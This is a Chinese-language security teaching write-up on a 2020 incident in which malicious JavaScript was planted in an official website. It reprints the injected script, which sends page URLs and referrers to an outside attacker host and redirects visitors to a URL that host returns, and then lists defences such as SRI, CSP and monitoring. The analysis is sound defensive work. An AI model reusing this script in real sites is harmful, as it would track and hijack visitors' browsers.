一次木马脚本重大安全事件分析
字数 1389 2025-08-15 21:32:39

木马脚本安全事件分析与防御教学文档

事件概述

2020年11月,火绒安全披露了一起官网被嵌入恶意代码的安全事件,攻击者通过在网站中植入恶意JavaScript代码,实施非法广告推广活动。本教学文档将详细分析该恶意代码的工作原理、攻击流程,并提供防御建议。

恶意代码分析

代码结构

恶意代码主要包含三个核心函数:

  1. initXMLhttp() - 初始化XMLHttpRequest对象
  2. minAjax(config) - 封装AJAX请求功能
  3. dL() - 核心控制函数,负责发起恶意请求

核心函数详解

1. initXMLhttp()函数

function initXMLhttp() {
    var xmlhttp;
    if (window.XMLHttpRequest) {
        xmlhttp = new XMLHttpRequest();
    } else {
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    return xmlhttp;
}

功能:兼容性创建XMLHttpRequest对象,支持现代浏览器和旧版IE。

2. minAjax(config)函数

function minAjax(config) {
    // 参数校验
    if (!config.url) { return; }
    if (!config.type) { return; }
    if (!config.method) { config.method = true; }
    if (!config.debugLog) { config.debugLog = false; }
    
    // 数据处理
    var sendString = [], sendData = config.data;
    // ...数据处理逻辑...
    
    // 跨域请求处理
    if(window.XDomainRequest) {
        // IE特定处理
        var xmlhttp = new window.XDomainRequest();
        xmlhttp.onload = function() {
            if(config.success){
                config.success(xmlhttp.responseText);
            }
        };
        xmlhttp.open("POST", config.url);
        xmlhttp.send(sendString);
    } else {
        // 标准AJAX处理
        var xmlhttp = initXMLhttp();
        xmlhttp.onreadystatechange = function() {
            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                if (config.success) {
                    config.success(xmlhttp.responseText, xmlhttp.readyState);
                }
            }
        }
        // GET/POST请求处理
        if (config.type == "GET") {
            xmlhttp.open("GET", config.url + "?" + sendString, config.method);
            xmlhttp.send();
        }
        if (config.type == "POST") {
            xmlhttp.open("POST", config.url, config.method);
            xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlhttp.send(sendString);
        }
    }
}

功能:封装AJAX请求,支持GET/POST方法,处理跨域请求,兼容多种浏览器。

3. dL()核心控制函数

function dL(){
    var host = 'http://mars.cdncontentdelivery.com/f';
    var config = {
        url: host + "/stats.php",
        type: "POST",
        data: {
            vbase: document.baseURI,
            vhref: location.href,
            vref: document.referrer,
            k: "YXViZGFzLmNvbQ==",
            ek: "dW5pb24xLmF1YmRhcy5jb20=",
            t: Math.floor(new Date().getTime() / 1000),
            tg: ""
        },
        success: onSuccessCallback
    };
    
    function bl(resp){
        !function(dr){
            function t(){return!!localStorage&&localStorage.getItem(a)}
            function e(){o(), parent.top.window.location.href=c}
            function o(){var t=r+i;if(localStorage){localStorage.setItem(a,t)}}
            function n(){
                if(t()){
                    var o=localStorage&&localStorage.getItem(a);
                    r>o&&e()
                }else e()
            }
            var a="MenuIdentifier", r=Math.floor((new Date).getTime()/1e3),
                c=dr,i=86400;
            n()
        }(resp);
    }
    
    function onSuccessCallback(response){
        if(response && response.indexOf('http') > -1){
            bl(response);
        }
    }
    
    minAjax(config)
}

恶意行为分析

  1. 数据收集

    • 收集当前页面基础URI(document.baseURI)
    • 收集当前页面完整URL(location.href)
    • 收集来源页面URL(document.referrer)
    • 收集时间戳(Unix时间戳,秒级)
  2. 数据传输

    • 使用Base64编码的密钥(kek参数)
    • 通过POST方式发送到攻击者控制的服务器(mars.cdncontentdelivery.com)
  3. 响应处理

    • 检查响应中是否包含HTTP链接
    • 如果存在,则调用bl()函数进行进一步操作
  4. 重定向攻击

    • 使用localStorage存储时间戳和标识符
    • 实现定时重定向功能(86400秒=24小时)
    • 最终将用户重定向到恶意URL

攻击流程复现

  1. 受害者访问被植入恶意代码的网站
  2. 网站加载恶意JavaScript文件
  3. 恶意代码执行,收集用户环境信息
  4. 向攻击者服务器(mars.cdncontentdelivery.com)发送收集的数据
  5. 接收服务器响应,可能包含重定向指令
  6. 根据指令将用户重定向到恶意网站

防御建议

1. JavaScript引用安全

  • 避免引用不可信的第三方JS:只从可信来源加载JavaScript文件

  • 使用Subresource Integrity (SRI):为引用的JS文件添加完整性校验

    <script src="https://example.com/example.js" 
            integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
            crossorigin="anonymous"></script>
    
  • 实施内容安全策略(CSP):限制脚本来源

    Content-Security-Policy: script-src 'self' https://trusted.cdn.com
    

2. 网站安全防护

  • 定期安全审计:检查网站是否被植入恶意代码
  • 文件完整性监控:监控关键文件是否被篡改
  • Web应用防火墙(WAF):部署WAF拦截恶意请求
  • HTTPS强制使用:防止中间人攻击篡改内容

3. 开发安全实践

  • 输入输出过滤:对所有用户输入和输出进行严格过滤
  • 最小权限原则:限制JavaScript的访问权限
  • 禁用不必要的API:如非必要,限制localStorage等敏感API的使用

4. 监控与响应

  • 异常请求监控:监控向外部域发起的异常请求
  • 实时告警机制:对可疑活动设置实时告警
  • 应急响应计划:制定并演练安全事件应急响应流程

总结

本次安全事件展示了恶意JavaScript代码如何通过网站植入实施攻击。攻击者利用网站信任关系,通过第三方JS文件注入恶意功能,收集用户信息并可能实施重定向攻击。防御此类攻击需要多层次的防护措施,包括严格的内容来源控制、完善的安全策略和持续的监控审计。

木马脚本安全事件分析与防御教学文档 事件概述 2020年11月,火绒安全披露了一起官网被嵌入恶意代码的安全事件,攻击者通过在网站中植入恶意JavaScript代码,实施非法广告推广活动。本教学文档将详细分析该恶意代码的工作原理、攻击流程,并提供防御建议。 恶意代码分析 代码结构 恶意代码主要包含三个核心函数: initXMLhttp() - 初始化XMLHttpRequest对象 minAjax(config) - 封装AJAX请求功能 dL() - 核心控制函数,负责发起恶意请求 核心函数详解 1. initXMLhttp()函数 功能:兼容性创建XMLHttpRequest对象,支持现代浏览器和旧版IE。 2. minAjax(config)函数 功能:封装AJAX请求,支持GET/POST方法,处理跨域请求,兼容多种浏览器。 3. dL()核心控制函数 恶意行为分析 数据收集 : 收集当前页面基础URI( document.baseURI ) 收集当前页面完整URL( location.href ) 收集来源页面URL( document.referrer ) 收集时间戳(Unix时间戳,秒级) 数据传输 : 使用Base64编码的密钥( k 和 ek 参数) 通过POST方式发送到攻击者控制的服务器( mars.cdncontentdelivery.com ) 响应处理 : 检查响应中是否包含HTTP链接 如果存在,则调用 bl() 函数进行进一步操作 重定向攻击 : 使用localStorage存储时间戳和标识符 实现定时重定向功能(86400秒=24小时) 最终将用户重定向到恶意URL 攻击流程复现 受害者访问被植入恶意代码的网站 网站加载恶意JavaScript文件 恶意代码执行,收集用户环境信息 向攻击者服务器( mars.cdncontentdelivery.com )发送收集的数据 接收服务器响应,可能包含重定向指令 根据指令将用户重定向到恶意网站 防御建议 1. JavaScript引用安全 避免引用不可信的第三方JS :只从可信来源加载JavaScript文件 使用Subresource Integrity (SRI) :为引用的JS文件添加完整性校验 实施内容安全策略(CSP) :限制脚本来源 2. 网站安全防护 定期安全审计 :检查网站是否被植入恶意代码 文件完整性监控 :监控关键文件是否被篡改 Web应用防火墙(WAF) :部署WAF拦截恶意请求 HTTPS强制使用 :防止中间人攻击篡改内容 3. 开发安全实践 输入输出过滤 :对所有用户输入和输出进行严格过滤 最小权限原则 :限制JavaScript的访问权限 禁用不必要的API :如非必要,限制localStorage等敏感API的使用 4. 监控与响应 异常请求监控 :监控向外部域发起的异常请求 实时告警机制 :对可疑活动设置实时告警 应急响应计划 :制定并演练安全事件应急响应流程 总结 本次安全事件展示了恶意JavaScript代码如何通过网站植入实施攻击。攻击者利用网站信任关系,通过第三方JS文件注入恶意功能,收集用户信息并可能实施重定向攻击。防御此类攻击需要多层次的防护措施,包括严格的内容来源控制、完善的安全策略和持续的监控审计。